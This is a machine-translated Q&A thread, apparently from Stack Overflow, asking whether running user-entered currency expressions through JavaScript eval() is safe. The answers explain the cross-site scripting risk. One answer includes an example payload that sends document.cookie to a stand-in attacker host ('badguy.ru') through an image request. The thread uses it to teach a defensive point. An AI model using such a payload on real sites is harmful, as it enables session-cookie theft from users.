可能重复:
如果是JavaScript的的eval()不是罪恶?
我写一个脚本,用户在其中有货币量来写,一些例子可能是(用户输入>>转换成),以美元作为默认币种:
50 >> 50.0 USD
50.5 >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP >> 50.0 GBP
我想使这个尽可能顺利,所以我想使用JavaScript(它是一个基于PHP / MySQL的+ JavaScript的Web应用程序)。 我想用正则表达式来过滤输入,通过运行它eval()
并返回。
这是一个坏主意吗? 我读过的一些主题eval()
是一个安全问题。 我只是不明白怎么样。 用户可以轻松地运行JavaScript呢?
请记住,我将验证所有输入服务器端用PHP在以后的阶段。
你说得对,最终用户可以轻松地执行反正任意JavaScript通过浏览器的开发者控制台(我做这一切的时候)。 你不必担心什么是攻击者劫持你的功能,它使用eval
为他自己的目的。
究其原因eval
通常被认为是危险的,因为它是不可信的代码潜入很容易的。考虑一个页面,允许您通过查询字符串,其中输入框预置了查询字符串值指定输入。
攻击者可能蔓延,其中包含代码用于窃取用户的登录cookie的链接:
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然适当的URL编码是必需的;这是一个例子。)
或者,也许你的PHP脚本回声发布的数据返回到您的表单验证失败时。 攻击者可以创建特制的形式职位,以具有相同的Cookie窃取代码的形式。
每一个的这些攻击可以通过使用缓解httpOnly
饼干(以防止被盗登录饼干),或确保数据消毒-但问题是,这是不是甚至接近事情如何出错的详尽清单。 例如,注入脚本仍然可以在量字段中插入1000并试图将其量转移到攻击者的帐户(如果这是一个转账页面)。
即使考虑到你使用正则表达式来净化输入并不一定保护你的事实: 它可以编写任意JavaScript 与支架完全 !
因此,底线是,如果你能绝对保证 ,只有这样,输入使得它的方式进入您的文本字段是通过用户输入,你的罚款:用户没有获得任何他们将不能够不这样做通过控制台。 然而,如果攻击者能够以某种方式获取自己的数据到该字段, eval
荷兰国际集团可能暴露你的弱点。
也可以看看:
- JavaScript来评估简单的数学串像5 * 1.2(EVAL /白名单?)
- JavaScript的只写有括号?
如果你需要它,使用它。
这里有一个很好的链接,其中讨论了这两个安全......以及对其他常见的反对“的eval()”:
- http://javascriptweblog.wordpress.com/2010/04/19/how-evil-is-eval/
安全性如何? 如果这是你的软件,与它的参数提供的eval然后有很少担心在这方面。 当然,这将是不明智的EVAL输入框的值,但运行的eval在通过自己的服务器代码生成的响应不会出现什么特殊危险。 还要记住没有损坏一个想成为-攻击者可以与客户端的eval做的,他们不能更容易与现代的浏览器控制台实现。
恕我直言 ...